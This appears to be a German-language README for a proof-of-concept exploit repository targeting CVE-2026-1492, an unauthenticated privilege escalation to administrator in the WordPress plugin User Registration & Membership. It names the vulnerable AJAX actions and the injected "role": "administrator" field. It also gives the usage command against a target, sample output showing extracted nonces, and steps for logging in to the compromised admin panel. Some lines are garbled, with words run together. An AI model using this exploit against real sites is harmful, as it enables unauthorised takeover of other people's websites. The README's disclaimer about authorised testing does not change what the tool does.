
Proof-of-Concept-Exploit für CVE-2026-1492 im WordPress-Plugin „User Registration“, das eine nicht authentifizierte Rechteausweitung zum Administrator über eine manipulierte Mitgliedschaftsregistrierung ermöglicht.
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2026-1492, eine kritische Schwachstelle, die das WordPress-Plugin User Registration & Membership betrifft.
Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, Administrator-Konten zu erstellen, indem der Mitgliedschafts-Registrierungsprozess missbraucht wird.
👉 Eine vollständige technische Analyse dieser Schwachstelle ist hier verfügbar:
Technische Analyse
Sie erklärt Schritt für Schritt, wie das Backend angreiferkontrollierte Daten verarbeitet und warum die Rechteausweitung möglich ist.
Das Plugin vertraut während des Mitgliedschafts-Registrierungsprozesses unsachgemäß benutzerkontrollierten Eingaben.
Im Einzelnen:
roleDies ermöglicht es Angreifern, Folgendes festzulegen:
"role": "administrator"
und vollständigen administrativen Zugriff zu erlangen.
Eine erfolgreiche Ausnutzung ermöglicht:
Die Schwachstelle wird über einen mehrstufigen AJAX-Prozess ausgelöst:
user_registration_user_form_submit registrierenuser_registration_membership_register_member auslösenadministrator) injizierenpython3 exploit.py -t http://target -ru 'http://target/?page_id=6'
python3 exploit.py -t http://localhost:5000 -ru 'http://localhost:5000/?page_id=6'
[*] Tokens werden extrahiert...
[+] form_id: 5
[+] frontend_nonce: XXXXX
[+] security: XXXXX
[+] wpnonce: XXXXX
[+] membership_id: 12
[*] Registrierungsanfrage wird gesendet...
[+] Benutzer erstellt
[*] Mitgliedschaftsanfrage wird gesendet...
[+] Rechteausweitung erfolgreich
Melden Sie sich mit den generierten Anmeldedaten an:
http://target/wp-login.php
Greifen Sie dann auf das Admin-Panel zu:
http://target/wp-admin/
Hinweis: Der Admin-Pfad kann angepasst sein.
Dieser Exploit wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Verwenden Sie ihn nicht gegen Systeme ohne Erlaubnis.